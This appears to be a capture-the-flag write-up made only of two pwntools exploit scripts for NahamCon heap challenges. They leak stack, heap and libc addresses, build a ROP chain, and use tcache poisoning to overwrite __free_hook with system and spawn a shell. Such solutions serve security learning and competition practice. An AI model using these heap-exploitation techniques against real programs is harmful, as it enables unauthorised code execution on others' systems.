dplastico

lost memory

#!/usr/bin/env python3

from pwn import *

elf = ELF("./lost_memory_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")

context.binary = elf
context.terminal = ['tmux', 'splitw', '-hp', '70']
#context.log_level = "debug"
gs = '''
continue
'''
def start():
    if args.REMOTE:
        return remote("challenge.nahamcon.com", 30550)
    if args.GDB:
        return gdb.debug([elf.path], gdbscript=gs)
    else:
        return process([elf.path])

r = start()

def rcu(d1, d2=0):
  r.recvuntil(d1, drop=True)
  if (d2):
    return r.recvuntil(d2,drop=True)
libcbase = lambda: log.info("libc base = %#x" % libc.address)
logleak = lambda name, val: log.info(name+" = %#x" % val)
sa = lambda delim, data: r.sendafter(delim, data)
sla = lambda delim, line: r.sendlineafter(delim, line)
sl = lambda line: r.sendline(line)
bc = lambda value: str(value).encode('ascii')
demangle_base = lambda value: value << 0xc
remangle = lambda heap_base, value: (heap_base >> 0xc) ^ value

rcu(b"choice:\n")

def alloc(size):
    sl(b"1")  # menu option
    sla(b"What size would you like?", bc(size))
    rcu(b"choice:\n")

def write_data(data):
    sl(b"2")  # menu option
    sla(b"What would you like to write?", data)
    rcu(b"choice:\n")

def select_index(index):
    sl(b"3")  # menu option
    sla(b"(0 - 9)", bc(index))
    rcu(b"choice:\n")

def free():
    sl(b"4")  # menu option
    rcu(b"choice:\n")

def store_flag_ptr():
    sl(b"5")  # menu option
    #rcu(b"choice:\n")

def exit_program():
    sl(b"6")  # menu option
#========= exploit here ===================
#rcu(b"choice:\n")
#gadgets
#0x0000000000401330: pop rsi; ret;
#0x00000000004017f1: pop rsi; pop r15; ret;
#0x0000000000401334: pop rdx; ret;
#0x000000000040132e: pop rdi; ret;

r.timeout = 1
#leak stack
alloc(0x88) #guard
free()
write_data(b"A")
free()
store_flag_ptr()
leak = int(rcu(b"eturn value: ", "\n"),16)
leak2 = int(rcu(b"eturn value: ", "\n"),16)
rcu(b"choice:\n")
logleak("stack leak", leak)
logleak("stack leak2", leak)

# ROP to leak
write_data(p64(leak+0x20)+p64(0)) #ret address
alloc(0x88) 
alloc(0x88) 

rop = ROP(elf)

payload = p64(rop.find_gadget(['pop rdi', 'ret'])[0])
payload += p64(elf.got.printf)
payload += p64(elf.sym.puts)
payload += p64(elf.sym.main)
write_data(payload)
#trigger ret
exit_program()
r.recvline()
#get libc leak
leak = u64(r.recvline().strip().ljust(8, b"\x00"))
libc.address = leak - libc.sym.printf
libcbase()

#tcache poison to get RCE by overwriting the free hook
alloc(0x98)
free()
write_data(b"A")
free()
write_data(p64(libc.sym.__free_hook)+p64(0)) #ret address
alloc(0x98)
alloc(0x98)
write_data(p64(libc.sym.system))
alloc(0x18)
write_data(b"/bin/sh\0")
sleep(0.2)

sl(b"4")
#========= interactive ====================
r.interactive()

Found memory

#!/usr/bin/env python3

from pwn import *

elf = ELF("./found_memory_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")

context.binary = elf
context.terminal = ['tmux', 'splitw', '-hp', '70']
#context.log_level = "debug"
gs = '''
continue
'''
def start():
    if args.REMOTE:
        return remote("challenge.nahamcon.com", 32396)
    if args.GDB:
        return gdb.debug([elf.path], gdbscript=gs)
    else:
        return process([elf.path])

r = start()

def rcu(d1, d2=0):
  r.recvuntil(d1, drop=True)
  if (d2):
    return r.recvuntil(d2,drop=True)
libcbase = lambda: log.info("libc base = %#x" % libc.address)
logleak = lambda name, val: log.info(name+" = %#x" % val)
sa = lambda delim, data: r.sendafter(delim, data)
sla = lambda delim, line: r.sendlineafter(delim, line)
sl = lambda line: r.sendline(line)
bc = lambda value: str(value).encode('ascii')
demangle_base = lambda value: value << 0xc
remangle = lambda heap_base, value: (heap_base >> 0xc) ^ value

#========= exploit here ===================
rcu(b">")
r.timeout = 1
def alloc():
    sl(b"1")
    rcu(b">")

def free(index):
    sl(b"2")
    sla(b"Index to free: ", bc(index))
    rcu(b">")

def view(index):
    sl(b"3")
    sla(b"Index to view: ", bc(index))
    
def edit(index, data):
    sl(b"4")
    sla(b"Index to edit: ", bc(index))
    sa(b"Enter data: ", data)
#alloc chunks 24 is more than enough
for i in range(24):
    alloc()

#heap leak
free(0)
free(1)
view(1)
leaks = r.recvline().strip()
rcu(b">")
heap = u64(leaks[:6].ljust(8,b"\x00")) - 0x2a0
logleak("heap",heap)

#libc leak
free(2)
edit(1, p8(0xd0))
alloc()
alloc()
alloc()

edit(2, p64(0)+p64(0x441))
free(1)
view(1)
leak = u64(r.recv(8))
logleak("libc leak", leak)
rcu(b">")
libc.address = leak - 0x1ecbe0
libcbase()

#tcache poison to get a shell by overwriting the free hook ( < glibc 2.31 )
free(19)
free(20)
edit(21, b"/bin/sh\0")
edit(20, p64(libc.sym.__free_hook))
alloc()
alloc()
edit(19, p64(libc.sym.system))
rcu(b">")
#shell
sl(b"2")
sla(b"free:",bc(21))

#========= interactive ====================
r.interactive()